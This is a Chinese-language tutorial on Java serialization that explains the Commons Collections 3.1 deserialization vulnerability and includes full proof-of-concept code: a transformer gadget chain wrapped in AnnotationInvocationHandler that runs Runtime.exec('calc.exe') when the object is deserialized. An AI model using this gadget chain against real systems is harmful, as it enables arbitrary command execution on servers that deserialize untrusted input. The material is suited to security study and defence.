初识Java 反序列化

初识Java 反序列化

What

什么是序列化与反序列化

  • java 序列化可以将一个对象序列化成JVM认识的字节序列,字节序列中包含了对象的数据,主要以对象属性为主。
  • java 反序列化是指把字节序列恢复为java对象的过程。利用在A平台上序列化产生的字节序列,可以在B平台上反序列化出同样的对象。

Why

为什么要用序列化与反序列化

  • 实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。
  • 利用序列化实现远程通信,即在网络上传送对象的字节序列。

How

如何实现序列化与反序列化

JDK类库中序列化API

使用到JDK中关键类 ObjectOutputStream(对象输出流) 和ObjectInputStream(对象输入流)

  • ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。
  • ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。

序列化一个对象

被序列化的类必须要实现 Serializable 接口,否则将无法序列化对象。

1
2
3
4
public class User implements Serializable {
public String name;
public int age;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Main {

public static void main(String[] args) throws IOException {

User user =new User();
user.age = 18;
user.name = "whippet";

PrintStream out = System.out;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);
objectOutputStream.writeObject(user);
objectOutputStream.flush();
objectOutputStream.close();

}
}

序列化对象时使用对象输出流"ObjectOutputStream",往指定输出流里写入 User 对象,使用控制台,可以直观的看到对象序列化后的样子。

�� sr Simple.User��Gm|X I ageL namet Ljava/lang/String;xp t whippet

反序列化对象

将对象序列化成byte数组。再用"ObjectInputStream"反序列化回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Main {

public static void main(String[] args) throws IOException, ClassNotFoundException {


User user =new User();
user.age = 18;
user.name = "whippet";

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();

byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化

System.out.println(o);


}
}

输出这个反序列化后的对象,和一开始为 User 对象设定的属性值完全相同。
同时Java为我们提供了自定义writeObject()、readObject()方法的功能,我们在目标类中自定义writeObject()、readObject()方法之后,将会首先调用我们自定义的方法,然后在继续执行原有的方法步骤.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User implements Serializable {

public String name;
public int age;

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

private void readObject(java.io.ObjectInputStream in)throws IOException,ClassNotFoundException
{
Runtime.getRuntime().exec("calc");
}

}

User 类写一个 readObject 方法上去,当对象被反序列化的时候,该方法就会被调用。

序列化时仅能序列化对象的属性,并不能控制方法中的reObject的代码,所有漏洞的构造需要引入新的jar包

commons-collections-3.1反序列化漏洞

漏洞利用

利用maven 安装依赖

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Pocexec {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

}
}

漏洞分析

java.lang.Runtime#exec(java.lang.String)
在exec处添加断点 查看调用链

最终遍历了"outerMap"这个Map对象的 Entry 集合,然后执行了 Entry 对象的的 setValue 方法导致执行了反射链。
所以先查看 outerMap 的实现类

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

调用了方法org.apache.commons.collections.map.TransformedMap#decorate

这个静态方法又去new了一个TransformedMap对象。map传入的是一个普通的数据,valueTransformer则是构造的调用链。
org.apache.commons.collections.map.TransformedMap#TransformedMap

实例化对象成功后依次调用了四个方法

  • entrySet()
  • iterator()
  • next()
  • setValue()

在类 TransformedMap中未找到定义的 entrySet()方法,在他的父类AbstractInputCheckedMapDecorator 中找

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator#entrySet

new 了一个内部类
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySet

EntrySet类中的iterator方法
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySet#iterator

又new了一个内部类
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySetIterator

EntrySetIterator类中的next方法
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySetIterator#next

又new了一个内部类
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry

MapEntry类中的setValue方法
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue


第一行调用了checkSetValue方法,此处的parent来自

所以实际上调用为 org.apache.commons.collections.map.TransformedMap#checkSetValue

调用了valueTransformer 的transform方法

所以首先调用了org.apache.commons.collections.functors.ChainedTransformer#transform

循环调用数组每一个对象的transform方法,并传入object对象,再将执行结果赋值给object对象
[0]是ConstantTransformer对象,它会返回new时候的参数中的Object对象,这里也是就是"java.Runtime"
[1]-[3]是InvokerTransformer对象,调用的是反射的代码

iTransformers的值是在初始化构建ChainedTransformer时生成
org.apache.commons.collections.functors.ChainedTransformer#ChainedTransformer


ConstantTransformer类中实现transform方法
org.apache.commons.collections.functors.ConstantTransformer#transform

InvokerTransformer类中实现了transform方法
org.apache.commons.collections.functors.InvokerTransformer#transform

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

(“getMethod”, new Class[] {String.class, Class[].class }, new Object[] {“getRuntime”, new Class[0] })
iMethodName = “getMethod”;
iParamTypes = new Class[] {String.class, Class[].class } ;
iArgs = new Object[] {“getRuntime”, new Class[0] }

1
2
3
4
5
6
7
8
9
10
11
12
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}
......
}
  • 第一个参数"getMethod"是这个函数的名字
  • 第二个参数new Class[]{String.class, Class[].class}是getMethod的2个参数参数类型,一个是String,一个是class[]
  • 第三个参数new Object[]{“getRuntime”, new Class[0]}是getMethod的2个参数值,一个是getRuntime,一个是空,因为是数组形式所以要这么写

getMethod(<String> “getRuntime”, <Class[]> null)
invoke(<Object>null, <Object[]>null)
exec(<String>"“calc.exe”")

就是通过反射去调用Runtime.getRuntime().exec(“calc.exe”)

Java反射机制

java中执行系统命令的方法为

1
2
3
4
5
6
public class Exec {
public static void main(String[] args)throws Exception{
Runtime.getRuntime().exec("calc");
}
}

正常的执行步骤为

1
2
3
4
5
6
public class Exec {
public static void main(String[] args)throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
}
}

相对应的反射代码为

1
2
3
4
5
6
public class Exec {
public static void main(String[] args)throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc");
}
}

Method Class.getMethod(String name, Class<?>… parameterTypes)的作用是获得对象所声明的公开方法。该方法的第一个参数name是要获得方法的名字,第二个参数parameterTypes是按声明顺序标识该方法形参类型。 getMethod(方法名, 方法类型)
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
等价于
Object runtime = java.lang.Runtime.getRuntime()

  • person.getClass().getMethod(“Speak”, null);
    获得person对象的Speak方法,因为Speak方法没有形参,所以parameterTypes为null
  • person.getClass().getMethod(“run”, String.class);
    获得person对象的run方法,因为run方法的形参是String类型的,所以parameterTypes为String.class

Method Class.invoke(Object obj, Object… args)
invoke(某个对象实例, 传入参数)

Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc");
等价于
runtime.exec("calc");
调用生成的runtime实例的exec方法,并将"clac"参数传入exec()方法

实际利用

对象是可以被反序列化,但并不在反序列化时触发调用链,而是要经过迭代器迭代并且使用 setValue() 方法才行,正常情况下基本不会有这种场景。

sun.reflect.annotation.AnnotationInvocationHandler该类中重写了readObject方法,在被调用时会执行setValue操作, 如果能把TransformedMap装入这个AnnotationInvocationHandler类就可以实现任意代码执行

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class AExec implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(java.lang.annotation.Target.class, transformedMap);

//Object instance = ctor.newInstance(java.lang.annotation.Retention.class, transformedMap);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();

//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);

}
}

java.lang.Runtime#exec(java.lang.String)
在exec处添加断点 查看调用链

sun.reflect.annotation.AnnotationInvocationHandler#readObject

传入的第一个参数 var1 必须为继承Annotation的子类,Annotation这个接口是所有注解类型的公用接口,所有注解类型都实现了这个接口。

  • java.lang.annotation.Retention.class
  • java.lang.annotation.Target.class


否则在这个地方就return,不会继续向下执行了

传入的第二个参数 var2 则是构造的调用链
同时map的键值必须为"value",否则利用不成功,这是一处小细节~

Java 反序列化漏洞始末(1)— Apache Commons
浅显易懂的JAVA反序列化入门
手把手教你写JAVA反序列化的POC